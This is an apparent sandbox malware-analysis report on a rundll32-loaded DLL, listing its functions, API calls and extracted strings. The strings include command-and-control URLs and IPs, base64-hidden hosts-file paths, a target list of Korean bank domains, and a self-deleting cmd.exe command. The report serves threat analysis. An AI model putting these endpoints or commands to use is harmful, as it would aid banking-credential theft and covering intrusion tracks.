Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ExtendedTable$AddressLibraryLoadProcmalloc
String ID: GetExtendedUdpTable$iphlpapi.dll
API String ID: 2385667234-1809394930
Opcode ID: 02ae61e850a1fbcb1a22724745b000119a1a924dfa203604408c47b977caae4e
Instruction ID: 95fc7806c394d6749ad61a5c4c73f14e2c7cad3558be80feca9663e5c097cf93
Opcode Fuzzy Hash: 02ae61e850a1fbcb1a22724745b000119a1a924dfa203604408c47b977caae4e
Instruction Fuzzy Hash: 3A21B171204302ABE710DB68EC85BAB37E4EF857A1F014625F995C62C4D736D989CBA2

Function 1000C230 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145
filewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

sprintf.MSVCRT ref: 1000C249
CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000003,00000000,00000000), ref: 1000C266
DeviceIoControl.KERNEL32(00000000,00074080,00000000,00000000,?,00000018,?,00000000), ref: 1000C298
GetLastError.KERNEL32(00000400,?,00000000,00000000), ref: 1000C2AC
FormatMessageA.KERNEL32(00001300,00000000,00000000), ref: 1000C2BA

Strings

\\.\PHYSICALDRIVE%d, xrefs: 1000C243

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlCreateDeviceErrorFileFormatLastMessagesprintf
String ID: \\.\PHYSICALDRIVE%d
API String ID: 1111953355-613073274
Opcode ID: 5b8cab77ea9baa15ef1ace31b166184b4a38632cffe6251980286e991f52f3d4
Instruction ID: 2bed02b5d34ca8770e45348e80b358c4abd8b06a0c17b21f9c9ba0ca96d4da27
Opcode Fuzzy Hash: 5b8cab77ea9baa15ef1ace31b166184b4a38632cffe6251980286e991f52f3d4
Instruction Fuzzy Hash: 9A4128762503046BF324DA38DC46FEB7395EBD8760F508729FA15CB1C0EEB59A088395

Function 10004F60 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F6A
OpenProcessToken.ADVAPI32(00000000,?,1000BB89,SeDebugPrivilege,00000001), ref: 10004F71
LookupPrivilegeValueA.ADVAPI32(00000000,?,?), ref: 10004F87
AdjustTokenPrivileges.KERNELBASE ref: 10004FCA
CloseHandle.KERNEL32 ref: 10004FD5

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID:
API String ID: 3038321057-0
Opcode ID: 0a72c3fa9fd0ee3bb1be3fa8c5ebfe263c00cb6316c39cb91c3d4bdc8cf6a7c0
Instruction ID: 7f0ff367e45407a8e9ac9eb591174fee72e0e2360a841818fda95b81e512ac6d
Opcode Fuzzy Hash: 0a72c3fa9fd0ee3bb1be3fa8c5ebfe263c00cb6316c39cb91c3d4bdc8cf6a7c0
Instruction Fuzzy Hash: 6401D7B8608301ABE704DF64C885B6A77E8FBC8B45F40891DF54986290DB74D945CB62

Function 10021806 Relevance: 3.2, APIs: 2, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNELBASE(00100000,00000000,00008000,10021806,00000000), ref: 1002187F
VirtualProtect.KERNEL32(003CB200,00000200,10021770,10021517,?,10021770,00000000,10021517), ref: 100219F2

Memory Dump Source

Source File: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Virtual$FreeProtect
String ID:
API String ID: 2581862158-0
Opcode ID: 1af49aae6d613e156a6d82bb86e3b7e212962c21a75418f354bfad0ed6b494bc
Instruction ID: 3cf54787ec1993463bbc57c4f2f394104f3851b60521f152caf73e44949bcc96
Opcode Fuzzy Hash: 1af49aae6d613e156a6d82bb86e3b7e212962c21a75418f354bfad0ed6b494bc
Instruction Fuzzy Hash: 0B614A7AA001219FDB21CF24DC907E9B7B1EFA5350FA505A4D889AB381D770ADC2CB90

Function 1000C160 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

DeviceIoControl.KERNEL32(00000000,0007C088,?,00000020,?,00000210,1000C305,00000000), ref: 1000C1B0

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: ControlDevice
String ID:
API String ID: 2352790924-0
Opcode ID: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction ID: 86cc3cd5e500d09f34f504799c04322c58a7eb8eb055a7fb12ab9f39681c7df9
Opcode Fuzzy Hash: 922dce9e470f2a9cc2907bd16655acb977d25aac2a30b40252a160cce2e3ee64
Instruction Fuzzy Hash: 98F0A96228A3C29EE302CB688855BD2FFA47B76710F0CD7C9E1D85B283C2548598D766

Function 10004990 Relevance: 1.5, APIs: 1, Instructions: 10filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000FF,?), ref: 100049A4

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 299059951f87d2bd72ad2bc17c95e565a8fb2202d3526d3a88a2d9952b43b325
Instruction ID: 239b56050324291377b7f4a21ae448826d8efed17bf8fca953d792130a950d08
Opcode Fuzzy Hash: 299059951f87d2bd72ad2bc17c95e565a8fb2202d3526d3a88a2d9952b43b325
Instruction Fuzzy Hash: B7C002B9608301BFDA04CB94C888D6BB7E9EBC8340F00C90CF59983210C734E841CB22

Function 10004AA0 Relevance: 1.5, APIs: 1, Instructions: 6processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000000,00000000,100069B2,00000002,00000000,00000000,00000000), ref: 10004AAA

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID:
API String ID: 3332741929-0
Opcode ID: 1682b21d8ce4723ada24454b6901746b0d484530990e3df5589c65f42c8cbb76
Instruction ID: 1bfc50ff904c48d483376f5291371ce4043d81f8e4f06f90ef1f9d0dc718a3ab
Opcode Fuzzy Hash: 1682b21d8ce4723ada24454b6901746b0d484530990e3df5589c65f42c8cbb76
Instruction Fuzzy Hash: 9CB09279104200ABD204DB60C984C2BBBE9BB94310B008808F48582110C631D840CB21

Function 1000BB20 Relevance: 75.5, APIs: 28, Strings: 15, Instructions: 267
sleepfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006A7E
Part of subcall function 10006A50: GetModuleFileNameA.KERNEL32(00000000,c:\windows\SysWOW64\rundll32.exe,00000104,1000BB2D), ref: 10006A95
Part of subcall function 10006A50: GetModuleFileNameA.KERNEL32(10000000,c:\xrzyhhhnk\uycmiha.dll,00000104), ref: 10006AA7
Part of subcall function 10006A50: strrchr.MSVCRT ref: 10006AD5
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006AED
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006AFE
Part of subcall function 10006A50: wsprintfA.USER32 ref: 10006B0F

PathFileExistsA.SHLWAPI(c:\test.1), ref: 1000BB32
GetCurrentProcessId.KERNEL32 ref: 1000BB3C

Part of subcall function 10004FF0: OpenProcess.KERNEL32(001F0FFF,00000000,?,?,1000509A,?,75920F00), ref: 10004FFD
Part of subcall function 10004FF0: TerminateProcess.KERNEL32(00000000,00000000), ref: 1000500C
Part of subcall function 10004FF0: CloseHandle.KERNEL32(00000000), ref: 10005017

ExitProcess.KERNEL32 ref: 1000BB4D
CreateMutexA.KERNEL32(00000000,00000001,Mkrnaver.com:6520), ref: 1000BB5D
GetLastError.KERNEL32 ref: 1000BB63
Sleep.KERNEL32(000007D0), ref: 1000BC33
DeleteFileA.KERNEL32(?), ref: 1000BC36
CreateThread.KERNEL32(00000000,00000000,10009230,00000000,00000000,00000000), ref: 1000BC5B
Sleep.KERNEL32(000003E8), ref: 1000BC62

Strings

cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s", xrefs: 1000BE1C
d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p, xrefs: 1000BCAA
www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke, xrefs: 1000BCE3
c:\wiseman.exe, xrefs: 1000BBF8, 1000BC12
c:\test.1, xrefs: 1000BB2D
c:\windows\system32, xrefs: 1000BC0B
Mkrnaver.com:6520, xrefs: 1000BB54
123, xrefs: 1000BBBA
krnaver.com:6520, xrefs: 1000BC8D, 1000BD0B
SeDebugPrivilege, xrefs: 1000BB7F
c:\xrzyhhhnk\ReadMe.txt, xrefs: 1000BB8E, 1000BBDA
c:\xrzyhhhnk, xrefs: 1000BE13
aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw, xrefs: 1000BC7E
http://107.163.241.232:12354/show.php, xrefs: 1000BCB9
MTc0LjEzOS42NS44Njo1NjU4MA==, xrefs: 1000BC6D

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: FileProcesswsprintf$CreateModuleNameSleep$CloseCurrentDeleteErrorExistsExitHandleLastMutexOpenPathTerminateThreadstrrchr
String ID: 123$MTc0LjEzOS42NS44Njo1NjU4MA==$Mkrnaver.com:6520$SeDebugPrivilege$aHR0cDovLzE3NC4xMzkuNjUuMjIyOjI1MzY4L25ld3MucGhw$c:\test.1$c:\windows\system32$c:\wiseman.exe$c:\xrzyhhhnk$c:\xrzyhhhnk\ReadMe.txt$cmd.exe /c ping 127.0.0.1 -n 3&rd /s /q "%s"$d3d3LnNoaW5oYW4uY29tfHNlYXJjaC5kYXVtLm5ldHxzZWFyY2gubmF2ZXIuY29tfHd3dy5rYnN0YXIuY29tLmlrcnx3d3cua25iYW5rLmNvLmtyLmlrcnxvcGVuYmFuay5jdS5jby5rci5pa3J8d3d3LmJ1c2FuYmFuay5jby5rci5pa3J8d3d3Lm5vbmdoeXVwLmNvbS5pa3J8d3d3LnNoaW5oYW4uY29tLmlrcnx3d3cud29vcmliYW5rLmNvbS5p$http://107.163.241.232:12354/show.php$krnaver.com:6520$www.shinhan.com|search.daum.net|search.naver.com|www.kbstar.com.l|www.knbank.co.kr.l|openbank.cu.co.kr.l|www.busanbank.co.kr.l|www.nonghyup.com.l|www.shinhan.com.l|www.wooribank.com.l|www.hanabank.com.l|www.epostbank.go.kr.l|www.ibk.co.kr.l|www.idk.co.l|www.ke
API String ID: 666504283-3738805136
Opcode ID: 1a1ffc0209291ceea76840690b20f3bbf0ea9f5aa895b07c39f2ebcda632cb22
Instruction ID: c2b964bca94a91e70f938dacfcc7d80519b83498a4bbcf2bec864d40d2c1bd09
Opcode Fuzzy Hash: 1a1ffc0209291ceea76840690b20f3bbf0ea9f5aa895b07c39f2ebcda632cb22
Instruction Fuzzy Hash: 0171EE75784B007BF220E6B49C47FAA3581DB85B95F210224F706BE1C6EEE4FA44816E

Function 10007800 Relevance: 33.7, APIs: 16, Strings: 3, Instructions: 427
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 10007863

Part of subcall function 10004940: InternetOpenA.WININET(?,?,?,?,?), ref: 10004959

Strings

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0), xrefs: 10007885
title, xrefs: 10007A07, 10007A18
http://blog.sina.com.cn/u/%s, xrefs: 10007857

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: InternetOpenwsprintf
String ID: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)$http://blog.sina.com.cn/u/%s$title
API String ID: 4197039022-1204782975
Opcode ID: ac3329271bd9d36dabe8b2f1c970d2275d2f31060d9b6ba8ce49d74b3c14c55d
Instruction ID: 095fe5dde53d71875dce48b6fc83110d19f8d3916a50ec2a0be112dbd884ee86
Opcode Fuzzy Hash: ac3329271bd9d36dabe8b2f1c970d2275d2f31060d9b6ba8ce49d74b3c14c55d
Instruction Fuzzy Hash: 8DD16B75E041446FEB14CF68CC81BFEBBA5FB442A0F10426EF9199B281DB769E01C7A1

Function 100075F0 Relevance: 29.9, APIs: 16, Strings: 1, Instructions: 168
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strstr.MSVCRT ref: 1000769B
strstr.MSVCRT ref: 100076BF
strcspn.MSVCRT ref: 100076CE
strstr.MSVCRT ref: 100076DA
strcspn.MSVCRT ref: 100076E9
strncpy.MSVCRT ref: 100076F2
strstr.MSVCRT ref: 1000772F
strcspn.MSVCRT ref: 10007742
strncpy.MSVCRT ref: 10007752
strcspn.MSVCRT ref: 10007762
atoi.MSVCRT(?), ref: 10007769
WSAStartup.WS2_32(00000202,?), ref: 10007783
htons.WS2_32(00000000), ref: 10007795
socket.WS2_32(00000002,00000001,00000000), ref: 100077BA
connect.WS2_32(00000000,?,00000010), ref: 100077CA
closesocket.WS2_32(00000000), ref: 100077D6

Strings

http://, xrefs: 10007695

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: strcspnstrstr$strncpy$Startupatoiclosesocketconnecthtonssocket
String ID: http://
API String ID: 2221484516-1121587658
Opcode ID: 5c2d05fa6207655839d0808158efd3d400898c35f4cf240536f96aa1fb864cbe
Instruction ID: c21daf10c3e951720ad3e589d1e55667024fa973de2a3a3a443ae2c0494599a8
Opcode Fuzzy Hash: 5c2d05fa6207655839d0808158efd3d400898c35f4cf240536f96aa1fb864cbe
Instruction Fuzzy Hash: 1E5104312043046BE314CB34CC44BEBB3D9FFC9350F404A2CFA5997280EB79DA1886A6

Function 10004DA0 Relevance: 24.6, APIs: 11, Strings: 3, Instructions: 145
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,?,75920F00,10005086,00000000,self), ref: 10004DFC
strrchr.MSVCRT ref: 10004E09
CreateFileA.KERNEL32(?,MZ@,00000007,00000000,00000004,00000080,00000000), ref: 10004E62
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 10004E78
time.MSVCRT(00000000), ref: 10004E7F
_localtime32.MSVCRT(?), ref: 10004E8E
strftime.MSVCRT ref: 10004EA1
vsprintf.MSVCRT ref: 10004EF3
sprintf.MSVCRT ref: 10004F13
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 10004F3D
CloseHandle.KERNEL32(00000000,?,?,00000000), ref: 10004F44

Strings

MZ@, xrefs: 10004E5C
log.txt, xrefs: 10004E1D
%s%s, xrefs: 10004F0D

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNamePointerWrite_localtime32sprintfstrftimestrrchrtimevsprintf
String ID: %s%s$MZ@$log.txt
API String ID: 2392943451-673521906
Opcode ID: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction ID: d5d278936535e4cba90bc0b152de8e4c93260a9cf759ec48f07ff2ba3d5d953d
Opcode Fuzzy Hash: d1bdc3c774a689637d6f495e9813b9ee9ac93210ea13629b8e67d8557dd03d55
Instruction Fuzzy Hash: DF41B5B1148345AFE328CB74CC899EB7BA9EBC8350F404A2DF75A872D0DFB499098651

Function 10009240 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 205
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
Part of subcall function 10001000: 6CE12C70.MFC42(00000001,?,75920F00), ref: 1000115C

Sleep.KERNEL32(0000EA60), ref: 10009288
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100092D3
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 100092DF
Sleep.KERNEL32(000927C0), ref: 10009420
wsprintfA.USER32 ref: 10009471
Sleep.KERNEL32(000927C0), ref: 100094CB

Strings

XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 100092E1
c:\1.txt, xrefs: 1000940C
QVNEU3ZjLmV4ZQ==, xrefs: 1000924E
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 100092FF
http://107.163.241.232:12354/show.php, xrefs: 100093C7
iOffset, xrefs: 10009407
QVlSVFNydi5heWU=, xrefs: 10009258

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: Sleep$DirectorySystem$lstrcpywsprintf
String ID: QVNEU3ZjLmV4ZQ==$QVlSVFNydi5heWU=$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$c:\1.txt$http://107.163.241.232:12354/show.php$iOffset
API String ID: 2291147283-888787304
Opcode ID: 5922782ddf026c53060f0f63c1ad289b21dee719ea41d24eaeab7540742c2ec5
Instruction ID: b8854392ff10616702e47e0bcfff7711cc3888a46334cdc6d8595219f0281411
Opcode Fuzzy Hash: 5922782ddf026c53060f0f63c1ad289b21dee719ea41d24eaeab7540742c2ec5
Instruction Fuzzy Hash: B55146756046446BE365C674CC52BEB36C6EBC82D0F100A3CF64A872C6EE71EA498692

Function 1000B6A0 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 189
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6EA
GetSystemDirectoryA.KERNEL32(?,00000104), ref: 1000B6F9

Part of subcall function 10001000: lstrcpy.KERNEL32(00000000,00000001), ref: 10001155
Part of subcall function 10001000: 6CE12C70.MFC42(00000001,?,75920F00), ref: 1000115C

Sleep.KERNEL32(000927C0), ref: 1000B822
wsprintfA.USER32 ref: 1000B8A7
Sleep.KERNEL32(000927C0), ref: 1000B8D5

Strings

cmd.exe /c ipconfig /flushdns, xrefs: 1000B8C4
XGRyaXZlcnNcZXRjXGhvc3Rz, xrefs: 1000B6FB
XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==, xrefs: 1000B716
http://107.163.241.232:12354/show.php, xrefs: 1000B7DB
8.8.8.8, xrefs: 1000B8B0
127.0.0.1, xrefs: 1000B8B5

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.000000001001E000.00000040.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010020000.00000040.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_rundll32.jbxd

Similarity

API ID: DirectorySleepSystem$lstrcpywsprintf
String ID: 127.0.0.1$8.8.8.8$XGRyaXZlcnNcZXRjXGhvc3Rz$XGRyaXZlcnNcZXRjXGhvc3RzLmljcw==$cmd.exe /c ipconfig /flushdns$http://107.163.241.232:12354/show.php
API String ID: 2704893763-1395296613
Opcode ID: db2d6b3046defbdf920574d5d26133844e3622f0e207e53ae40463d585e72ec7
Instruction ID: 0c20509c5945297f8f237a4b3797596a51a84c821cbe864c7c2b37f26de8eee8
Opcode Fuzzy Hash: db2d6b3046defbdf920574d5d26133844e3622f0e207e53ae40463d585e72ec7
Instruction Fuzzy Hash: CC518D71504A486BE364CA74CC91AEB3BCAEB893D0F104A3CF7468B2D5EE71D948C391

Function 10006F20 Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 151
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000002,?,00000000,000F003F,?,?,?,?), ref: 10006F4F
GlobalMemoryStatusEx.KERNEL32(?), ref: 10007009
GetSystemDefaultUILanguage.KERNEL32(?,?,?,?,?,?), ref: 10007062

Part of subcall function 10004C70: RegQueryValueExA.KERNEL32(00000000,00000000,00000000,00000000,75920F10,?,1000AAC6,?,75920F10,00000000,000000FF,?,00000104,?,?,?), ref: 10004C8E

Part of subcall function 10004C60: RegCloseKey.KERNEL32(1000AB02,1000AE3A,80000002,1000AB02,?,?,?,?,75920F00), ref: 10004C65

Strings

%u MB, xrefs: 1000702C
09121307, xrefs: 10007037
http://107.163.241.232:12354/show.php, xrefs: 100070E5
ProcessorNameString, xrefs: 10006F71
Find CPU Error, xrefs: 10006FC1
HARDWARE\DESCRIPTION\System\CentralProcessor\0, xrefs: 10006F32
@, xrefs: 10007000

Memory Dump Source

Source File: 00000006.00000002.4502811149.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.4502788932.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502834903.0000000010012000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.4502858390.0000000010016000.00000040.00000001.01000000.00000005.sdmpDownload File
